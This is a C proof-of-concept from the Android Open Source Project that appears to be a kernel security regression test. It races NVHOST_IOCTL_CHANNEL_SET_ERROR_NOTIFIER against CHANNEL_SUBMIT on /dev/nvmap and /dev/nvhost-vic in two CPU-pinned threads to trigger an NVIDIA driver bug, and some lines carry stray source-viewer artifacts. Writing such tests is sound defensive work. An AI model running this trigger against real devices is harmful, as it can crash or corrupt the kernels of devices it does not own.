1 /*
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 #include <string.h>
18 #include <stdio.h>
19 #include <stdlib.h>
20 #include <pthread.h>
21 #include <sys/ioctl.h>
22 #include <sys/mman.h>
23 #include <errno.h>
24 #include <sys/stat.h>
25 #include <fcntl.h>
26 #include <sched.h>
27 #include <sys/types.h>
28 #include <signal.h>
29 #include <unistd.h>
30 // for syscall
31 #include <sys/syscall.h>
32 // for futex
33 #include <linux/futex.h>
34 #include <sys/time.h>
35 
36 #define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
37 #define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
38 #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
39 
40 #define NVMAP_IOC_MAGIC 'N'
41 struct nvmap_create_handle {
42 	union {
43 		__u32 id;	/* FromId */
44 		__u32 size;	/* CreateHandle */
45 		__s32 fd;	/* DmaBufFd or FromFd */
46 	};
47 	__u32 handle;		/* returns nvmap handle */
48 };
49 #define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
50 
51 #define NVHOST_IOCTL_MAGIC 'H'
52 struct nvhost_set_error_notifier {
53 	__u64 offset;
54 	__u64 size;
55 	__u32 mem;
56 	__u32 padding;
57 };
58 #define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
59 	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
60 
61 struct nvmap_alloc_handle {
62 	__u32 handle;		/* nvmap handle */
63 	__u32 heap_mask;	/* heaps to allocate from */
64 	__u32 flags;		/* wb/wc/uc/iwb etc. */
65 	__u32 align;		/* min alignment necessary */
66 };
67 #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
68 
set_affinity(int num)69 static int set_affinity(int num)
70 {
71 	int ret = 0;
72 	cpu_set_t mask;
73 	CPU_ZERO(&mask);
74 	CPU_SET(num, &mask);
75 	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
76 	if(ret == -1){
77 		printf("[-] set affinity failed: [%d]-%d\n", errno, errno);
78 	}
79 	return ret;
80 }
81 
82 struct nvhost_submit_args {
83 	__u32 submit_version;
84 	__u32 num_syncpt_incrs;
85 	__u32 num_cmdbufs;
86 	__u32 num_relocs;
87 	__u32 num_waitchks;
88 	__u32 timeout;
89 	__u32 flags;
90 	__u32 fence;		/* Return value */
91 	__u64 syncpt_incrs;
92 	__u64 cmdbuf_exts;
93 
94 	__u64 pad[3];		/* future expansion */
95 
96 	__u64 cmdbufs;
97 	__u64 relocs;
98 	__u64 reloc_shifts;
99 	__u64 waitchks;
100 	__u64 waitbases;
101 	__u64 class_ids;
102 	__u64 fences;
103 };
104 #define NVHOST_IOCTL_CHANNEL_SUBMIT	\
105 	_IOWR(NVHOST_IOCTL_MAGIC, 26, struct nvhost_submit_args)
106 
107 struct nvhost_syncpt_incr {
108 	__u32 syncpt_id;
109 	__u32 syncpt_incrs;
110 };
111 
112 #define CLOSE_THREAD_NUM	1
113 #define TRY_TIMES		2
114 #define NVMAPDEV	"/dev/nvmap"
115 #define VICDEV		"/dev/nvhost-vic"
116 #define SYNC_NUM	1
117 struct nvhost_set_error_notifier err1 = { 0 }, err2 = { 0 };
118 pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
119 int nvmap, vic;
120 volatile int attack;
close_thread(void * no_use)121 void* close_thread(void* no_use)
122 {
123 	int ret;
124 	set_affinity(1);
125 
126 	while(attack){
127 		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &err1);
128 	}
129 
130 	return NULL;
131 }
132 
main()133 int main()
134 {
135 	int i, j, ret;
136 	int dma1, dma2;
137 	struct nvmap_create_handle args = {
138 		.size = PAGE_SIZE
139 	};
140 	struct nvmap_alloc_handle alloc = {
141 		.heap_mask = 0xFFFFFFFF
142 	};
143 
144 	struct nvhost_syncpt_incr incr[SYNC_NUM];
145 
146 	struct nvhost_submit_args submit = {
147 		.num_syncpt_incrs = SYNC_NUM,
148 		.syncpt_incrs = (intptr_t)incr,
149 		.timeout = 1,
150 		//.class_ids = (intptr_t)&ret
151 	};
152 
153 	memset(incr, 0, sizeof(incr));
154 	incr[0].syncpt_id = 6;
155 
156 	/* bind_cpu */
157 	set_affinity(0);
158 
159 	nvmap = open(NVMAPDEV, O_RDONLY);
160 	if(nvmap == -1)
161 		ERR("[-] open %s failed", NVMAPDEV);
162 	else
163 		LOG("[+] open %s OK", NVMAPDEV);
164 
165 	vic = open(VICDEV, O_RDONLY);
166 	if(vic == -1)
167 		ERR("[-] open %s failed", VICDEV);
168 	else
169 		LOG("[+] open %s OK", VICDEV);
170 
171 	// prepare
172 	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
173 	if(ret)
174 		ERR("[-] ioctl NVMAP_IOC_CREATE failed");
175 	else
176 		LOG("[+] NVMAP_IOC_CREATE succeeded, fd = %d", args.handle);
177 
178 	dma1 = args.handle;
179 	err1.mem = dma1;
180 	alloc.handle = dma1;
181 
182 	ret = ioctl(nvmap, NVMAP_IOC_ALLOC, &alloc);
183 	if(ret)
184 		ERR("[-] ioctl NVMAP_IOC_ALLOC failed");
185 	else
186 		LOG("[+] NVMAP_IOC_ALLOC succeeded");
187 
188 	/* create close thread */
189 	attack = 1;
190 	for(i = 0; i < CLOSE_THREAD_NUM; i++){
191 		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
192 	}
193 	LOG("[+] running...");
194 	while(1) {
195 		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SUBMIT, &submit);
196 	}
197 
198 	LOG("[-] passed :(");
199 	attack = 0;
200 	for(i = 0; i < CLOSE_THREAD_NUM; i++) {
201 		pthread_join(close_thread_id[i], NULL);
202 	}
203 
204 	return 0;
205 }
206